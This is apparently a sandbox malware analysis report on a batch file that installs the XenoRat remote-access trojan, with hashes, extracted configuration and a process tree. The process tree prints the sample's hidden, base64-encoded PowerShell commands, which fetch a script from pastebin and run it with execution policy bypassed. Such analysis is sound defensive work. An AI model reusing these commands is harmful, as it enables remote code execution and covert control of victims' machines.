Analysis
-
max time kernel
62s -
max time network
63s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
07-12-2024 20:54
Static task
static1
General
-
Target
virus_src.bat
-
Size
652B
-
MD5
3d20c8ba40ea3e85334342e7c01018bd
-
SHA1
b678d69ec173ca2e385ba8a8bda18be618f5af2c
-
SHA256
4a4f56be826841723b685fe98aedfb81eb3c11dfac2f4a466f4c78eef2c5bb71
-
SHA512
0fdeac77b6c4f3ba7ee53c33785c6c576873a7798d8921721d21498910316893b8ebb0e499759bd1d62239506499ce4bf9f222a2019c4a882ffd1a2ce86a6776
Malware Config
Extracted
xenorat
127.0.0.1
09fasifjkansmf8s9ghjndui90gijmfgpjkjyt90y843
-
delay
5000
-
install_path
nothingset
-
port
4444
-
startup_name
nothingset
Signatures
-
Detect XenoRat Payload 2 IoCs
resource yara_rule behavioral1/files/0x000a000000023cc9-60.dat family_xenorat behavioral1/memory/3424-68-0x0000000000D60000-0x0000000000D72000-memory.dmp family_xenorat -
Xenorat family
-
Blocklisted process makes network request 3 IoCs
flow pid Process 9 1648 powershell.exe 19 1628 powershell.exe 21 1628 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell and hide display window.
pid Process 1648 powershell.exe 4768 powershell.exe 1628 powershell.exe 2572 powershell.exe -
Downloads MZ/PE file
-
Executes dropped EXE 1 IoCs
pid Process 3424 rat.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
flow ioc 21 raw.githubusercontent.com 8 pastebin.com 9 pastebin.com 20 raw.githubusercontent.com -
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language rat.exe -
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000 taskmgr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A taskmgr.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName taskmgr.exe -
Modifies registry class 2 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000_Classes\Local Settings taskmgr.exe Key created \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000_Classes\Local Settings powershell.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2572 powershell.exe 2572 powershell.exe 1648 powershell.exe 1648 powershell.exe 4768 powershell.exe 4768 powershell.exe 1628 powershell.exe 1628 powershell.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 3504 powershell_ise.exe 3504 powershell_ise.exe 4540 taskmgr.exe 4540 taskmgr.exe 3504 powershell_ise.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe -
Suspicious use of AdjustPrivilegeToken 8 IoCs
description pid Process Token: SeDebugPrivilege 2572 powershell.exe Token: SeDebugPrivilege 1648 powershell.exe Token: SeDebugPrivilege 4768 powershell.exe Token: SeDebugPrivilege 1628 powershell.exe Token: SeDebugPrivilege 4540 taskmgr.exe Token: SeSystemProfilePrivilege 4540 taskmgr.exe Token: SeCreateGlobalPrivilege 4540 taskmgr.exe Token: SeDebugPrivilege 3504 powershell_ise.exe -
Suspicious use of FindShellTrayWindow 64 IoCs
pid Process 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 3504 powershell_ise.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe -
Suspicious use of SendNotifyMessage 64 IoCs
pid Process 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe 4540 taskmgr.exe -
Suspicious use of WriteProcessMemory 13 IoCs
description pid Process procid_target PID 3296 wrote to memory of 2572 3296 cmd.exe 83 PID 3296 wrote to memory of 2572 3296 cmd.exe 83 PID 2572 wrote to memory of 1484 2572 powershell.exe 84 PID 2572 wrote to memory of 1484 2572 powershell.exe 84 PID 1484 wrote to memory of 1648 1484 cmd.exe 86 PID 1484 wrote to memory of 1648 1484 cmd.exe 86 PID 1484 wrote to memory of 4768 1484 cmd.exe 87 PID 1484 wrote to memory of 4768 1484 cmd.exe 87 PID 4768 wrote to memory of 1628 4768 powershell.exe 88 PID 4768 wrote to memory of 1628 4768 powershell.exe 88 PID 1628 wrote to memory of 3424 1628 powershell.exe 93 PID 1628 wrote to memory of 3424 1628 powershell.exe 93 PID 1628 wrote to memory of 3424 1628 powershell.exe 93
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\virus_src.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:3296 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Start-Process -Verb RunAs -FilePath 'C:\Users\Admin\AppData\Local\Temp\virus_src.bat' -ArgumentList "am_admin"2⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2572 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\virus_src.bat" am_admin3⤵
- Suspicious use of WriteProcessMemory
PID:1484 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -NoLogo -enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwBwAGEAcwB0AGUAYgBpAG4ALgBjAG8AbQAvAHIAYQB3AC8AQgBoAFcAdgBTAFAAcQBxACkALgBjAG8AbgB0AGUAbgB0ACAAPgAgACQAZQBuAHYAOgB0AGUAbQBwAFwAUwB5AHMAdABlAG0AUwB0AGEAcgB0AHUAcAAuAHAAcwAxAA==4⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1648
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -NoLogo -enc cABvAHcAZQByAHMAaABlAGwAbAAgAC0AbgBvAGUAeABpAHQAIAAtAEUAeABlAGMAdQB0AGkAbwBuAFAAbwBsAGkAYwB5ACAAQgB5AHAAYQBzAHMAIAAtAEYAaQBsAGUAIAAkAGUAbgB2ADoAdABlAG0AcABcAFMAeQBzAHQAZQBtAFMAdABhAHIAdAB1AHAALgBwAHMAMQA=4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4768 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\SystemStartup.ps15⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1628 -
C:\Users\Admin\AppData\Local\Temp\rat.exe"C:\Users\Admin\AppData\Local\Temp\rat.exe"6⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:3424
-
-
-
-
-
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /71⤵
- Checks SCSI registry key(s)
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:4540
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵PID:3156
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe" "C:\Users\Admin\AppData\Local\Temp\SystemStartup.ps1"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:3504
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2KB
MD56cf293cb4d80be23433eecf74ddb5503
SHA124fe4752df102c2ef492954d6b046cb5512ad408
SHA256b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
SHA5120f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00
-
Filesize
53KB
MD5a26df49623eff12a70a93f649776dab7
SHA1efb53bd0df3ac34bd119adf8788127ad57e53803
SHA2564ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245
SHA512e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c
-
Filesize
64B
MD55caad758326454b5788ec35315c4c304
SHA13aef8dba8042662a7fcf97e51047dc636b4d4724
SHA25683e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391
SHA5124e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693
-
Filesize
1KB
MD52cd928baba5af07197e8ab4c3309ff7c
SHA1f282ff7f9323a5f5eab5479fd7c7e25776deac75
SHA25652638798f1f802fe7015092932c729461f2ba72fa3c906b443f7cedcc99f88c5
SHA512bea23897dd1f0a5aeb44f1197128e87bf1da2e5dad2d281425ed9b6bee0dd5e3b1898fe2e4eef659ed5a6bb13014ed57d3fd914e5b1247247d7fe2684fca69ef
-
Filesize
444B
MD536283fdf74e6a121263391fc05cbdb16
SHA1214b06862abbeeb40e71b2b244b2018453c1282a
SHA256d7720dc0062268305fd1ad4751f58ee4aceab50c2923f19ebde5e426a9e0dc5a
SHA51215ef36edcc2bb6b6fc192aee0647146c65ec771168952aa7e3a5fd7024ab01ee7348b2fe3ce03d5c6e1e8e1d15ddcd0e4671f5f5734f48d5c3d200931db5725f
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
45KB
MD577020688c984e8b2675f7d0d33f02b3e
SHA16d67ebf519424f1f1ace23b6ce2c56aa5c7449b8
SHA256c9ec55f100a9b7cb76f0ee6d2ba97edab4f133ca3a2351e96162159446c986ec
SHA512c60ade9f5fdc3c0590c4fd2995a61b81e333e4afb329d9a10833e1bd7f9b444eaea6bb23d0dd2d85c6163a71166bba06c0603f2e9a5c0e4d83474b25c72d4004